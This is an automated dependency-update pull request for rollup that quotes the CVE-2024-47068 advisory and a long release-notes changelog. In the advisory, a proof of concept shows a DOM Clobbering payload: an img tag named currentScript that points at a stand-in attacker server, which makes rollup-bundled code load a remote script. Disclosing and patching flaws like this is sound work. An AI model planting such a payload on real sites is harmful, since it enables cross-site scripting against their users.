Skip to content

chore(deps): update dependency rollup to v2.79.2 [security]#482

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-rollup-vulnerability
Open

chore(deps): update dependency rollup to v2.79.2 [security]#482
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-rollup-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Sep 24, 2024

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
rollup (source) 2.21.02.79.2 age confidence

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);
const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;
Severity
  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N

Release Notes

rollup/rollup (rollup)

v2.79.2

Compare Source

v2.79.1

Compare Source

v2.79.0

Compare Source

v2.78.1

Compare Source

v2.78.0

Compare Source

v2.77.3

Compare Source

v2.77.2

Compare Source

v2.77.1

Compare Source

v2.77.0

Compare Source

v2.76.0

Compare Source

v2.75.7

Compare Source

v2.75.6

Compare Source

v2.75.5

Compare Source

v2.75.4

Compare Source

v2.75.3

Compare Source

v2.75.2

Compare Source

v2.75.1

Compare Source

v2.75.0

Compare Source

v2.74.1

Compare Source

v2.74.0

Compare Source

v2.73.0

Compare Source

v2.72.1

Compare Source

v2.72.0

Compare Source

v2.71.1

Compare Source

v2.71.0

Compare Source

v2.70.2

Compare Source

v2.70.1

Compare Source

v2.70.0

Compare Source

v2.69.2

Compare Source

v2.69.1

Compare Source

v2.69.0

Compare Source

v2.68.0

Compare Source

v2.67.3

Compare Source

v2.67.2

Compare Source

v2.67.1

Compare Source

v2.67.0

Compare Source

v2.66.1

Compare Source

v2.66.0

Compare Source

v2.65.0

Compare Source

v2.64.0

Compare Source

v2.63.0

Compare Source

v2.62.0

Compare Source

v2.61.1

Compare Source

v2.61.0

Compare Source

v2.60.2

Compare Source

v2.60.1

Compare Source

v2.60.0

Compare Source

v2.59.0

Compare Source

v2.58.3

Compare Source

v2.58.2

Compare Source

v2.58.1

Compare Source

v2.58.0

Compare Source

v2.57.0

Compare Source

v2.56.3

Compare Source

v2.56.2

Compare Source

v2.56.1

Compare Source

v2.56.0

Compare Source

v2.55.1

Compare Source

v2.55.0

Compare Source

v2.54.0

Compare Source

v2.53.3

Compare Source

v2.53.2

Compare Source

v2.53.1

Compare Source

v2.53.0

Compare Source

v2.52.8

Compare Source

v2.52.7

Compare Source

v2.52.6

Compare Source

v2.52.5

Compare Source

v2.52.4

Compare Source

v2.52.3

Compare Source

2021-06-25

Bug Fixes
  • Fix an issue where code was wrongly removed when using vars in nested scopes (#​4149)
Pull Requests

v2.52.2

Compare Source

2021-06-21

Bug Fixes
  • Support falsy plugins in types (#​4144)
  • Do not require return value in renderChunkHook type (#​4144)
Pull Requests

v2.52.1

Compare Source

2021-06-17

Bug Fixes
  • Fix a memory leak in watch mode (#​4142)
Pull Requests

v2.52.0

Compare Source

2021-06-16

Features
  • Add --configPlugin CLI option to apply plugins to the config file for e.g. TypeScript configs (#​3835)
  • Add "safest" and "smallest" presets to tree-shaking options for easier configuration (#​4131)
  • Add treeshake.correctVarValueBeforeDeclaration option to deoptimize var declarations (#​4139)
Pull Requests

v2.51.2

Compare Source

2021-06-11

Bug Fixes
  • Include modules imported from no-treeshake modules even if they would be empty (#​4138)
Pull Requests

v2.51.1

Compare Source

2021-06-08

Bug Fixes
  • Fix error when using defineConfig (#​4134)
Pull Requests

v2.51.0

Compare Source

2021-06-06

Features
  • Add a helper for IntelliSense support in config files (#​4127)
Bug Fixes
  • Improve performance when generating source maps (#​4122)
Pull Requests

v2.50.6

Compare Source

2021-06-03

Bug Fixes
  • Do not consider the object spread operator as side effect when propertyReadSideEffects are false (#​4119)
  • Detect side effects when returning thenables from async arrow functions (#​4120)
Pull Requests

v2.50.5

Compare Source

2021-05-30

Bug Fixes
  • Detect side effects when accessing thenables (#​4115)
Pull Requests

v2.50.4

Compare Source

2021-05-29

Bug Fixes
  • Fix a situation where tree-shaking would stop including nodes prematurely (#​4111)
  • Track mutations and accessor side effects when using __proto__ in an object literal (#​4112)
  • Check for getter effects when spreading an object (#​4113)
Pull Requests

v2.50.3

Compare Source

2021-05-28

Bug Fixes
  • Wrap parentheses around leading elements in simplified sequence expressions if this would otherwise lead to invalid code (#​4110)
  • Do not associate block soped variables in catch clauses with the clause parameter (#​4108)
  • Do not associate hoisted variables in catch clauses with outside variables if they match the parameter (#​4108)
  • Use correct "this" context for tagged template literal member expressions in simplified sequences (#​4110)
Pull Requests

v2.50.2

Compare Source

2021-05-27

Bug Fixes
  • Avoid unnecessary side effects when using methods like .filter and .map (#​4103)
  • Avoid crash when a module with moduleSideEffects no-treeshake imports a tree-shaken module (#​4104)
Pull Requests

v2.50.1

Compare Source

2021-05-26

Bug Fixes
  • Do not associate pure annotations in simplified expressions with wrong elements (#​4095)
  • Prevent invalid code when simplified conditionals start with an IIFE function expression (#​4099)
Pull Requests

v2.50.0

Compare Source

2021-05-25

Features
  • Only include last elements of comma expressions if they are used or have side effects (#​4087)
Bug Fixes
  • Prevent a crash that could occur when calling object methods (#​4091)
Pull Requests

v2.49.0

Compare Source

2021-05-23

Features
  • Detect side-effect-free static class methods and properties (#​4018)
  • Detect side-effect-free array elements (#​4018)
  • Do not apply deoptimizations from dead code (#​4018)
Bug Fixes
  • Handle side effect detection for getters and setters added in untracked code (#​4018)
  • Track "this" mutations for methods, getters and setters (#​4018)
Pull Requests

v2.48.0

Compare Source

2021-05-15

Features
  • Add replacement to conditionally insert asset extensions in entryFileNames when preserving modules (#​4077)
Bug Fixes
  • Fix crash when dynamically assigning to namespace members (#​4070)
  • Do not associate pure annotations in front of a semi-colon or comma with succeeding code (#​4068)
Pull Requests

v2.47.0

Compare Source

2021-05-04

Features
  • Warn about ambiguous imports from combined external namespace reexports (#​4064)
  • In case of combined namespace reexports, always prefer local exports over external namespaces (#​4064)
  • Treat conflicting names in local namespace reexports as undefined (#​4064)
Pull Requests

v2.46.0

Compare Source

2021-04-29

Features
  • Add option to disable file name sanitation (#​4058)
  • Add information about importers to unused external import warning (#​4054)
Pull Requests

v2.45.2

Compare Source

2021-04-13

Bug Fixes
  • Do not user a dynamic entry file name for naming a manual chunk (#​4040)
Pull Requests

v2.45.1

Compare Source

2021-04-10

Bug Fixes
  • Handle falsy return values from async plugin options hooks (#​4039)
Pull Requests

v2.45.0

Compare Source

2021-04-09

Features
  • Support private class instance methods and accessors (#​4034)
Pull Requests

v2.44.0

Compare Source

2021-03-29

Features
  • Add a new option makeAbsoluteExternalsRelative to opt out of renormalizing absolute external ids to relative ids (#​4021)
  • Extend the resolveId plugin hook to allow forcing or preventing renormalization of absolute external ids (#​4021)
  • Make the rendered code of individual modules available in the generated bundle (#​4028)
Bug Fixes
  • Handle objects with __proto__ properties correctly (#​4019)
Pull Requests

v2.43.1

Compare Source

2021-03-28

Bug Fixes
  • Prevent infinite recursions in certain scenarios when calling object properties (#​4025)
Pull Requests

v2.43.0

Compare Source

2021-03-27

Features
  • Track side effects of function properties in objects for better tree-shaking (#​4011)
Pull Requests

v2.42.4

Compare Source

2021-03-24

Bug Fixes
  • Do not discard plugin return values when using perf option (#​4010)
Pull Requests

v2.42.3

Compare Source

2021-03-22

Bug Fixes
  • Do not ignore #__PURE__ comments in front of optional chaining expressions (#​4007)
Pull Requests

v2.42.2

Compare Source

2021-03-22

Bug Fixes
  • Use correct import.meta.url in relative imports from transpiled config files (#​4005)
Pull Requests

v2.42.1

Compare Source

2021-03-20

Bug Fixes
  • Do not produce unhandled Promise rejections when plugins throw while using the perf option (#​4004)
Pull Requests

v2.42.0

Compare Source

2021-03-19

Features
  • Prevent infinite loops when several plugins are using this.resolve in their resolveId hook (#​4000)
Pull Requests

v2.41.5

Compare Source

2021-03-18

Bug Fixes
  • Make sure unused property accesses of external namespaces can be tree-shaken (#​4001)
Pull Requests

v2.41.4

Compare Source

2021-03-16

Bug Fixes
  • Do not replace external namespace imports with individual named imports to avoid changing behaviour with regard to missing exports (#​3999)
Pull Requests

v2.41.3

Compare Source

2021-03-16

Bug Fixes
  • Always retain arguments passed to empty object pattern parameters (#​3998)
Pull Requests

v2.41.2

Compare Source

2021-03-12

Bug Fixes
  • Also remove sourcemaps comments if plugins return a pre-made ast (#​3987)
Pull Requests

v2.41.1

Compare Source

2021-03-11

Pull Requests

v2.41.0

Compare Source

2021-03-09

Features
  • Add option to treeshake.propertyReadSideEffects to keep all property accesses (#​3985)
Bug Fixes
  • Also respect pure comment annotations when a plugin provides an AST in the transform hook provided they use this.parse (#​3981)
Pull Requests
  • #​3981: Move pure comment annotation to Graph.contextParse (@​yannayl)
  • #​3985: implement --treeshake.propertyReadSideEffects=always to handle getters with side effects (@​kzc)

v2.40.0

Compare Source

2021-02-26

Features
  • Make sure that entry point variable names take precedence over variable names in dependencies when deconflicting (#​3977)
Bug Fixes
  • Replace : in generated file names to prevent invalid files on Windows (#​3972)
Pull Requests

v2.39.1

Compare Source

2021-02-23

Bug Fixes
  • Make sure local variables named Symbol, Object or Promise do not conflict with code generated by Rollup (#​3971)
Pull Requests

v2.39.0

Compare Source

2021-02-12

Features
  • Add "validate" option to verify generated chunks are valid JavaScript (#​3952)
Bug Fixes
  • Always add exports properties for uninitialized named exports (#​3957)
  • Allow using an external namespace reexport together with named exports (#​3959)
  • Avoid invalid generated code in certain scenarios with SystemJS exports (#​3960)
Pull Requests

v2.38.5

Compare Source

2021-02-05

Bug Fixes
  • Prevent invalid code when simplifying assignments and delcarations (#​3951)
  • Prevent behaviour-changing line-breaks when simplifying assignments in return statements (#​3951)
  • Slightly improve white-space rendering when simplifying certain expressions (#​3951)
Pull Requests

v2.38.4

Compare Source

2021-02-02

Bug Fixes
  • Do not change logic when tree-shaking declarations in if statements or loops (#​3947)
Pull Requests

v2.38.3

Compare Source

2021-02-01

Bug Fixes
  • Prevent an unexpected live-binding when default exporting a synthetic named export (#​3946)
Pull Requests

v2.38.2

Compare Source

2021-01-31

Bug Fixes
  • Do not generate invalid code for partially tree-shaken declarations in for loops (#​3943)
  • Always include function bodies of functions in side-effect-free modules (#​3944)
Pull Requests

v2.38.1

Compare Source

2021-01-28

Bug Fixes
  • Fix internal error when resolving a missing entry point in the browser build (#​3935)
Pull Requests

v2.38.0

Compare Source

2021-01-22

Features
  • Entirely remove declared variables that only have an initializer side effect (#​3933)
Pull Requests

v2.37.1

Compare Source

2021-01-20

Pull Requests

v2.37.0

Compare Source

2021-01-19

Features
  • Always check modules for side-effects that only indirectly reexport a used variable (#​3840)
  • Warn if a circular dependency would cause wrong execution order when preserving modules (#​3840)
Bug Fixes
  • Allow consuming synthetic exports via modules that reexport a namespace (#​3894)
  • Do not crash for circular default reexports (#​3840)
  • Do not crash for circular synthetic namespaces (#​3840)
  • Improve circular dependency execution order in certain scenarios (#​3840)
Pull Requests

v2.36.2

Compare Source

2021-01-16

Bug Fixes
  • Fix an issue where invalid code was generated for unused assignments with side effects (#​3926)
Pull Requests

v2.36.1

Compare Source

2021-01-06

Bug Fixes
  • Solve issues that result in invalid code when partially removing assignments (#​3921)
Pull Requests

v2.36.0

Compare Source

2021-01-05

Features
  • Support partial tree-shaking of chained assignments and unused assignment targets (#​3919)
Pull Requests

v2.35.1

Compare Source

2020-12-14

Bug Fixes
  • Allow closing the bundle when watching in case of generate errors by adding the bundle to the error event (#​3909)
  • Automatically close all bundles on generate errors when watching and using the CLI (#​3909)
  • Try to create remaining bundles when watching and one of them throws (#​3909)
Pull Requests

v2.35.0

Compare Source

2020-12-14

Features
  • Add closeBundle hook that is triggered by bundle.close() in the JS API (#​3883)
Pull Requests

v2.34.2

Compare Source

2020-12-06

Bug Fixes
  • Revert pattern export change (#​3898)
Pull Requests

v2.34.1

Compare Source

2020-12-03

Bug Fixes
  • Avoid Node deprecation warning by using a pattern export for nested Rollup files (#​3896)
Pull Requests

v2.34.0

Compare Source

2020-11-29

Features
  • Support RequireJS comaptible AMD ids in code-splitting builds via amd.autoId ([#​3867](https://redirect.github.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot changed the title chore(deps): update dependency rollup to v3 [security] chore(deps): update dependency rollup to v3 [security] - autoclosed Sep 26, 2024
@renovate renovate bot closed this Sep 26, 2024
@renovate renovate bot deleted the renovate/npm-rollup-vulnerability branch September 26, 2024 22:26
@renovate renovate bot restored the renovate/npm-rollup-vulnerability branch September 27, 2024 07:50
@renovate renovate bot changed the title chore(deps): update dependency rollup to v3 [security] - autoclosed chore(deps): update dependency rollup to v3 [security] Sep 27, 2024
@renovate renovate bot reopened this Sep 27, 2024
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 889c99f to 6980760 Compare September 27, 2024 07:52
@renovate renovate bot changed the title chore(deps): update dependency rollup to v3 [security] chore(deps): update dependency rollup to v2.79.2 [security] Sep 27, 2024
@coveralls
Copy link
Copy Markdown

coveralls commented Sep 27, 2024

Coverage Status

coverage: 100.0%. remained the same
when pulling a93bb33 on renovate/npm-rollup-vulnerability
into 72898ce on main.

@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 293379b to e25523d Compare September 30, 2024 14:04
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 3 times, most recently from f61653a to d61a704 Compare August 11, 2025 14:28
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from d61a704 to 27dd807 Compare December 31, 2025 15:43
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 27dd807 to a93bb33 Compare January 8, 2026 19:53
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from a93bb33 to 4c5c9a6 Compare February 27, 2026 15:03
@renovate renovate bot changed the title chore(deps): update dependency rollup to v2.79.2 [security] chore(deps): update dependency rollup to v2.80.0 [security] Feb 27, 2026
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 4c5c9a6 to a259d36 Compare March 1, 2026 00:52
@renovate renovate bot changed the title chore(deps): update dependency rollup to v2.80.0 [security] chore(deps): update dependency rollup to v2.79.2 [security] Mar 1, 2026
@renovate renovate bot changed the title chore(deps): update dependency rollup to v2.79.2 [security] chore(deps): update dependency rollup to v2.79.2 [security] - autoclosed Mar 27, 2026
@renovate renovate bot closed this Mar 27, 2026
@renovate renovate bot deleted the renovate/npm-rollup-vulnerability branch March 27, 2026 01:20
@renovate renovate bot changed the title chore(deps): update dependency rollup to v2.79.2 [security] - autoclosed chore(deps): update dependency rollup to v2.79.2 [security] Mar 30, 2026
@renovate renovate bot reopened this Mar 30, 2026
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from a259d36 to a753c81 Compare March 30, 2026 17:41
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant